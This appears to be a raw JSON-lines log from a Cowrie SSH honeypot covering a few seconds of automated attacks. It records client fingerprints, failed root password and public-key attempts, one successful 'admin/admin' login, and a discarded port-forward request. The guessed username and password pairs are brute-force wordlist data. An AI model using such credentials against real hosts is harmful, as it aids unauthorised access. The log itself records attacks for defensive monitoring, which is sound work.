{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:00.341236Z","src_ip":"103.27.238.120","session":"7615d380ced6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:00.610553Z","src_ip":"103.27.238.120","session":"7615d380ced6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jg3h4hfn","message":"login attempt [root/jg3h4hfn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:01.432398Z","src_ip":"103.27.238.120","session":"7615d380ced6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59846,"dst_ip":"10.17.0.5","dst_port":22,"session":"85a0da938492","protocol":"ssh","message":"New connection: 87.251.64.176:59846 (10.17.0.5:22) [session: 85a0da938492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:02.405855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:02.410444Z","src_ip":"87.251.64.176","session":"85a0da938492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:02.507446Z","src_ip":"87.251.64.176","session":"85a0da938492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:02.704731Z","src_ip":"103.27.238.120","session":"7615d380ced6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:02.798928Z","src_ip":"87.251.64.176","session":"85a0da938492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:02.901396Z","session":"85a0da938492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:03.000908Z","src_ip":"87.251.64.176","session":"85a0da938492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:03.100730Z","src_ip":"87.251.64.176","session":"85a0da938492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48374,"dst_ip":"159.203.135.109","dst_port":22,"session":"e08eccdd3810","protocol":"ssh","message":"New connection: 37.233.85.71:48374 (159.203.135.109:22) [session: e08eccdd3810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:05.331785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:05.337058Z","src_ip":"37.233.85.71","session":"e08eccdd3810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:05.437109Z","src_ip":"37.233.85.71","session":"e08eccdd3810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1234","message":"login attempt [root/dima1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:05.740882Z","src_ip":"37.233.85.71","session":"e08eccdd3810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:06.843352Z","src_ip":"37.233.85.71","session":"e08eccdd3810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":36184,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf411ff84faf","protocol":"ssh","message":"New connection: 184.94.212.80:36184 (159.203.135.109:22) [session: bf411ff84faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:09.499874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:09.507681Z","src_ip":"184.94.212.80","session":"bf411ff84faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:09.572418Z","src_ip":"184.94.212.80","session":"bf411ff84faf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chicony","message":"login attempt [root/chicony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:09.856349Z","src_ip":"184.94.212.80","session":"bf411ff84faf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:10.923523Z","src_ip":"184.94.212.80","session":"bf411ff84faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":50156,"dst_ip":"159.203.135.109","dst_port":22,"session":"45fb63accd91","protocol":"ssh","message":"New connection: 43.156.237.246:50156 (159.203.135.109:22) [session: 45fb63accd91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:15.446397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:15.451732Z","src_ip":"43.156.237.246","session":"45fb63accd91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:15.684803Z","src_ip":"43.156.237.246","session":"45fb63accd91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.254.17.136","src_port":55430,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b2d1d2db33e","protocol":"ssh","message":"New connection: 51.254.17.136:55430 (10.17.0.5:22) [session: 6b2d1d2db33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:15.942775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:15.950147Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.029937Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:10:f8:27:fa:da:51:4a:82:41:30:23:ca:d3:f3:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDk8UQNP5ULQ/GPKev/LPmVnfSMQHcT3QwGR5VaDiJo0qsT/lNzwuvx2p8M+JCXDXoqWyHVLyG7FV2T/kzXKtwX8WJqS31q0eoW+D4qJQqxtrBZPcshntCqFF9cTmQgKmYKFfX+zyMyYGtDLKgBxZbwrs9yKmvChxp/ybsVaS6ATpZdkgqVPpODD8Ur3YWgUw63tRbPJZpsu+hCiTyvP45t21dj91sOFqftgt+RhxpJhPeAjtd9jd5zXIgBTZkLptf7hpkYEg6PdH6no2+UCdyvDCH+/s7gB4541Pnzs1EzTIqKELm328PIk7KlXdYF4oCEgwQnFaLWkDqvRlKYinLv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:10:f8:27:fa:da:51:4a:82:41:30:23:ca:d3:f3:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.405326Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:10:f8:27:fa:da:51:4a:82:41:30:23:ca:d3:f3:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDk8UQNP5ULQ/GPKev/LPmVnfSMQHcT3QwGR5VaDiJo0qsT/lNzwuvx2p8M+JCXDXoqWyHVLyG7FV2T/kzXKtwX8WJqS31q0eoW+D4qJQqxtrBZPcshntCqFF9cTmQgKmYKFfX+zyMyYGtDLKgBxZbwrs9yKmvChxp/ybsVaS6ATpZdkgqVPpODD8Ur3YWgUw63tRbPJZpsu+hCiTyvP45t21dj91sOFqftgt+RhxpJhPeAjtd9jd5zXIgBTZkLptf7hpkYEg6PdH6no2+UCdyvDCH+/s7gB4541Pnzs1EzTIqKELm328PIk7KlXdYF4oCEgwQnFaLWkDqvRlKYinLv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.409510Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:66:16:5d:e2:a4:fb:da:51:d7:b9:cd:7d:ff:90:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbhyIQI1IjMQMhkvzeGyywA3IFUH9VWYqk9uGD94TsmPigWrjj8ypqra395Fa9nzXUn46/9DGgeBPp7hnwYwrOGbHnRLphxeJDbp1st3mng6GuoQqitPi0AmNPkxshR3QRKlMLr+8TWOrNGzbuZFvI05MWj6Hko5IdJ/iuGRdxp19h9pbxpWwgD83yBXXb1yc2eLA6Xb8arPNAN/Wu/xtwpKNMeyQNyXrQUiLia/SvL/Zr5ND5b3BOIshvvY6dL0ZhbO39KSOx6y0YHmrJ4B5/ofC+gHScM8d3f4vPwQShBj+jfEK5+BJ5ua07NsWRulcG3igtxVW7jH8HbfSM0TUIBpj2W0CPy24esJdGsFfepfbIgS9/c2VJ3gpUfz06r2wnWkEQcidbDftO3ArzSAT+9GlWvg9UDowM6gWuBKUAzDcrMDIrTi3eGyYqVLtIXO71NrLv9zOXZf5Eu6RWJ59C7RrvNY1ExSRnx4pOUGOuqGncuWXCJAmtUOfeawyfvX8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:66:16:5d:e2:a4:fb:da:51:d7:b9:cd:7d:ff:90:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.489611Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:66:16:5d:e2:a4:fb:da:51:d7:b9:cd:7d:ff:90:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbhyIQI1IjMQMhkvzeGyywA3IFUH9VWYqk9uGD94TsmPigWrjj8ypqra395Fa9nzXUn46/9DGgeBPp7hnwYwrOGbHnRLphxeJDbp1st3mng6GuoQqitPi0AmNPkxshR3QRKlMLr+8TWOrNGzbuZFvI05MWj6Hko5IdJ/iuGRdxp19h9pbxpWwgD83yBXXb1yc2eLA6Xb8arPNAN/Wu/xtwpKNMeyQNyXrQUiLia/SvL/Zr5ND5b3BOIshvvY6dL0ZhbO39KSOx6y0YHmrJ4B5/ofC+gHScM8d3f4vPwQShBj+jfEK5+BJ5ua07NsWRulcG3igtxVW7jH8HbfSM0TUIBpj2W0CPy24esJdGsFfepfbIgS9/c2VJ3gpUfz06r2wnWkEQcidbDftO3ArzSAT+9GlWvg9UDowM6gWuBKUAzDcrMDIrTi3eGyYqVLtIXO71NrLv9zOXZf5Eu6RWJ59C7RrvNY1ExSRnx4pOUGOuqGncuWXCJAmtUOfeawyfvX8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.493367Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:0b:50:67:16:88:87:e1:c2:48:92:c0:bd:4b:8e:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCofV1/AO/yZBKY83Erb3zZoRJRhLZafq11Fy8x5wqxO16q3ZHkzZgTXPO74aSciT86nqOy+5QEoD1RnTEahsoQ7/s130rZ1Ttd8Y05oU99sBvdv4hgcZvKKv317MeGgojcK4YdRigTvvsiZ8Ei5Mr6MbqbWrq4q+5cQZbCYEdPdU8w2dqCU+jmORy32Hvhn73WvuaDZWLE9Vop0iHq11HNRUHN+jEfODsZqRR7NDYD1muuBs9mG09iVPxwiCki9kBORr3nWHVVIucTWVGHxVdNgtTgqtyGwHDEJTspSdxISUVcMgR0BBePjebTpGRpP6DjXcdBzXt5Zu+0OaMAAndl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:0b:50:67:16:88:87:e1:c2:48:92:c0:bd:4b:8e:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.573876Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:0b:50:67:16:88:87:e1:c2:48:92:c0:bd:4b:8e:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCofV1/AO/yZBKY83Erb3zZoRJRhLZafq11Fy8x5wqxO16q3ZHkzZgTXPO74aSciT86nqOy+5QEoD1RnTEahsoQ7/s130rZ1Ttd8Y05oU99sBvdv4hgcZvKKv317MeGgojcK4YdRigTvvsiZ8Ei5Mr6MbqbWrq4q+5cQZbCYEdPdU8w2dqCU+jmORy32Hvhn73WvuaDZWLE9Vop0iHq11HNRUHN+jEfODsZqRR7NDYD1muuBs9mG09iVPxwiCki9kBORr3nWHVVIucTWVGHxVdNgtTgqtyGwHDEJTspSdxISUVcMgR0BBePjebTpGRpP6DjXcdBzXt5Zu+0OaMAAndl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.577874Z","src_ip":"51.254.17.136","session":"6b2d1d2db33e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"frido1","message":"login attempt [root/frido1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:52:16.645098Z","src_ip":"43.156.237.246","session":"45fb63accd91","protocol":"ssh"}
